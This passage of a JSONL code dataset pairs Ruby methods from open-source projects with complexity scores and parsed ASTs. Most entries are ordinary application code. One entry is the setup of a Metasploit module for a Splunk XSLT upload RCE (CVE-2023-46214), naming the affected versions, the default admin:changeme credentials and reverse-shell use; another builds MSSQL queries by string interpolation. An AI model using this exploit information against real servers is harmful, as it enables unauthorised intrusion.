\"]}]}]}]}]}]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"user_attrs\"]},{\"type\":\"lvar\",\"children\":[\"membership_list\"]}]}]}]}","id":"9eca2087-bc81-44f2-b839-ef3a8c3a22ce"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/content_type_detector.rb","start_line":123,"raw_source":"def type_from_file_command\n      @type_from_file_command ||= FileCommandContentTypeDetector.new(@filename).detect\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"type_from_file_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@type_from_file_command\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileCommandContentTypeDetector\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@filename\"]}]},\"detect\"]}]}]}","id":"aa537a86-3fa3-4836-8e87-b580b4ff820d"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/price.rb","start_line":85,"raw_source":"def compare_at_price_including_vat_for(price_options)\n      options = price_options.merge(tax_category: variant.tax_category)\n      gross_amount(compare_at_price, options)\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"compare_at_price_including_vat_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"price_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"price_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tax_category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variant\"]},\"tax_category\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"gross_amount\",{\"type\":\"send\",\"children\":[null,\"compare_at_price\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"10dc789a-01c9-48d9-99fe-6d17b375fee1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/magic_comment.rb","start_line":274,"raw_source":"def without(type)\n        if @comment.match?(/\\A#\\s*#{self.class::KEYWORDS[type.to_sym]}/io)\n          ''\n        else\n          @comment\n        end\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"without\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comment\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A#\\\\s*\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"KEYWORDS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]}]}]},{\"type\":\"regopt\",\"children\":[\"i\",\"o\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"ivar\",\"children\":[\"@comment\"]}]}]}","id":"f41ba4e2-c8c5-4a4f-9190-6686f3f36220"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/mailers/users_mailer.rb","start_line":25,"raw_source":"def trial_expired\n    # Sent when trial expires\n    @user = params[:user]\n\n    mail(to: @user.email, subject: '💔 Your Dawarich trial expired')\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"trial_expired\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"str\",\"children\":[\"💔 Your Dawarich trial expired\"]}]}]}]}]}]}","id":"d8b0b8a6-932f-417a-a34b-821269310e86"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_profile_view.rb","start_line":8,"raw_source":"def self.add(user_profile_id, ip, user_id = nil, at = nil, skip_redis = false)\n    at ||= Time.zone.now\n    redis_key = +\"user-profile-view:#{user_profile_id}:#{at.to_date}\"\n    if user_id\n      return if user_id < 1\n      redis_key << \":user-#{user_id}\"\n      ip = nil\n    else\n      redis_key << \":ip-#{ip}\"\n    end\n\n    if skip_redis || Discourse.redis.setnx(redis_key, \"1\")\n      skip_redis ||\n        Discourse.redis.expire(redis_key, SiteSetting.user_profile_view_duration_hours.hours)\n\n      self.transaction do\n        sql =\n          \"INSERT INTO user_profile_views (user_profile_id, ip_address, viewed_at, user_id)\n               SELECT :user_profile_id, :ip_address, :viewed_at, :user_id\n               WHERE NOT EXISTS (\n                  SELECT 1 FROM user_profile_views\n                  /*where*/\n               )\"\n\n        builder = DB.build(sql)\n\n        if !user_id\n          builder.where(\n            \"viewed_at = :viewed_at AND ip_address = :ip_address AND user_profile_id = :user_profile_id AND user_id IS NULL\",\n          )\n        else\n          builder.where(\n            \"viewed_at = :viewed_at AND user_id = :user_id AND user_profile_id = :user_profile_id\",\n          )\n        end\n\n        result =\n          builder.exec(\n            user_profile_id: user_profile_id,\n            ip_address: ip,\n            viewed_at: at,\n            user_id: user_id,\n          )\n\n        UserProfile.find(user_profile_id).increment!(:views) if result > 0\n      end\n    end\n  end","complexity_score":49.45,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_profile_id\"]},{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"optarg\",\"children\":[\"user_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"at\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"skip_redis\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"redis_key\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user-profile-view:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_profile_id\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at\"]},\"to_date\"]}]}]},\"+@\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis_key\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":user-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ip\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis_key\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":ip-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_redis\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"setnx\",{\"type\":\"lvar\",\"children\":[\"redis_key\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_redis\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"expire\",{\"type\":\"lvar\",\"children\":[\"redis_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"user_profile_view_duration_hours\"]},\"hours\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO user_profile_views (user_profile_id, ip_address, viewed_at, user_id)\\n\"]},{\"type\":\"str\",\"children\":[\"               SELECT :user_profile_id, :ip_address, :viewed_at, :user_id\\n\"]},{\"type\":\"str\",\"children\":[\"               WHERE NOT EXISTS (\\n\"]},{\"type\":\"str\",\"children\":[\"                  SELECT 1 FROM user_profile_views\\n\"]},{\"type\":\"str\",\"children\":[\"                  /*where*/\\n\"]},{\"type\":\"str\",\"children\":[\"               )\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"builder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"where\",{\"type\":\"str\",\"children\":[\"viewed_at = :viewed_at AND ip_address = :ip_address AND user_profile_id = :user_profile_id AND user_id IS NULL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"where\",{\"type\":\"str\",\"children\":[\"viewed_at = :viewed_at AND user_id = :user_id AND user_profile_id = :user_profile_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"exec\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_profile_id\"]},{\"type\":\"lvar\",\"children\":[\"user_profile_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip_address\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"viewed_at\"]},{\"type\":\"lvar\",\"children\":[\"at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserProfile\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"user_profile_id\"]}]},\"increment!\",{\"type\":\"sym\",\"children\":[\"views\"]}]},null]}]}]}]},null]}]}]}","id":"ebb23452-b436-49cd-b37d-0799a44f9751"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Splunk Authenticated XSLT Upload RCE',\n        'Description' => %q{\n          This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.\n          The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages\n          a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid\n          credentials, typically 'admin:changeme' by default.\n\n          The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the\n          vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'\n          capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides\n          the attacker with remote control over the compromised Splunk instance. The module is designed to work\n          seamlessly, ensuring successful exploitation under the right conditions.\n        },\n        'Author' => [\n          'nathan', # Writeup and PoC\n          'Valentin Lobstein', # Metasploit module\n          'h00die', # Assistance in module development\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2023-46214'],\n          ['URL', 'https://github.com/nathan31337/Splunk-RCE-poc'],\n          ['URL', 'https://advisory.splunk.com/advisories/SVD-2023-1104'], # Vendor Advisory\n          ['URL', 'https://blog.hrncirik.net/cve-2023-46214-analysis'], # Writeup\n        ],\n        'Platform' => ['unix', 'linux'],\n        'Arch' => [ARCH_PHP, ARCH_CMD],\n        'Targets' => [['Automatic', {}]],\n        'DisclosureDate' => '2023-11-28',\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'RPORT' => 8000\n\n        },\n        'Privileged' => false,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [true, 'Username for Splunk', 'admin']),\n        OptString.new('PASSWORD', [true, 'Password for Splunk', 'changeme']),\n        OptString.new('RANDOM_FILENAME', [false, 'Random filename with 8 characters', Rex::Text.rand_text_alpha(8)]),\n      ]\n    )\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Splunk Authenticated XSLT Upload RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.\\n\"]},{\"type\":\"str\",\"children\":[\"          The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages\\n\"]},{\"type\":\"str\",\"children\":[\"          a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid\\n\"]},{\"type\":\"str\",\"children\":[\"          credentials, typically 'admin:changeme' by default.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'\\n\"]},{\"type\":\"str\",\"children\":[\"          capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides\\n\"]},{\"type\":\"str\",\"children\":[\"          the attacker with remote control over the compromised Splunk instance. The module is designed to work\\n\"]},{\"type\":\"str\",\"children\":[\"          seamlessly, ensuring successful exploitation under the right conditions.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"nathan\"]},{\"type\":\"str\",\"children\":[\"Valentin Lobstein\"]},{\"type\":\"str\",\"children\":[\"h00die\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-46214\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/nathan31337/Splunk-RCE-poc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://advisory.splunk.com/advisories/SVD-2023-1104\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.hrncirik.net/cve-2023-46214-analysis\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-11-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8000]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username for Splunk\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password for Splunk\"]},{\"type\":\"str\",\"children\":[\"changeme\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"RANDOM_FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Random filename with 8 characters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]}]}]}]}]}]}","id":"b104a7b6-0b71-4285-a6d4-47095cfd276b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb","start_line":85,"raw_source":"def test_does_not_break_nested_transactions\n    @connection.extend MissingSuperuserPrivileges\n\n    @connection.transaction do\n      @connection.transaction(requires_new: true) do\n        @connection.disable_referential_integrity do\n          assert_transaction_is_not_broken\n        end\n      end\n      assert_transaction_is_not_broken\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_does_not_break_nested_transactions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"MissingSuperuserPrivileges\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"transaction\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requires_new\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"disable_referential_integrity\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_transaction_is_not_broken\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_transaction_is_not_broken\"]}]}]}]}]}","id":"3509d3dd-c940-41d7-bbb5-b79c94cad76c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/mssql/mssql_schemadump.rb","start_line":130,"raw_source":"def get_columns(db_name, table_id)\n    results = mssql_query(\"Select syscolumns.name,systypes.name,syscolumns.length from #{db_name}..syscolumns JOIN #{db_name}..systypes ON syscolumns.xtype=systypes.xtype WHERE syscolumns.id=#{table_id}\")[:rows]\n    return results\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_columns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db_name\"]},{\"type\":\"arg\",\"children\":[\"table_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Select syscolumns.name,systypes.name,syscolumns.length from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_name\"]}]},{\"type\":\"str\",\"children\":[\"..syscolumns JOIN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_name\"]}]},{\"type\":\"str\",\"children\":[\"..systypes ON syscolumns.xtype=systypes.xtype WHERE syscolumns.id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_id\"]}]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"rows\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}]}","id":"3686fcac-b2c4-48e9-8984-8ec7067c6fac"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/migration/remove_stale_notifications_job.rb","start_line":11,"raw_source":"def remove_invalid_messages\n    deleted_ids = []\n\n    Message.unscoped.distinct.pluck(:inbox_id).each_slice(1000) do |id_list|\n      deleted_ids = (id_list - Inbox.where(id: id_list).pluck(:id))\n      Message.where(inbox_id: deleted_ids.flatten).destroy_all\n    end\n  end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_invalid_messages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deleted_ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Message\"]},\"unscoped\"]},\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"inbox_id\"]}]},\"each_slice\",{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id_list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deleted_ids\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_list\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Inbox\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id_list\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Message\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_ids\"]},\"flatten\"]}]}]}]},\"destroy_all\"]}]}]}]}]}","id":"91c64139-7e48-4fde-9476-87f211793628"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/repositories/rewrite_history_service.rb","start_line":66,"raw_source":"def audit_removals(blob_oids)\n      context = {\n        name: 'project_blobs_removal',\n        author: current_user,\n        scope: project,\n        target: project,\n        message: 'Project blobs removed',\n        additional_details: { blob_oids: blob_oids }\n      }\n\n      ::Gitlab::Audit::Auditor.audit(context)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"audit_removals\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob_oids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"project_blobs_removal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Project blobs removed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"additional_details\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blob_oids\"]},{\"type\":\"lvar\",\"children\":[\"blob_oids\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Audit\"]},\"Auditor\"]},\"audit\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}","id":"139eedcb-4118-4cdc-8196-e73909c4d095"}
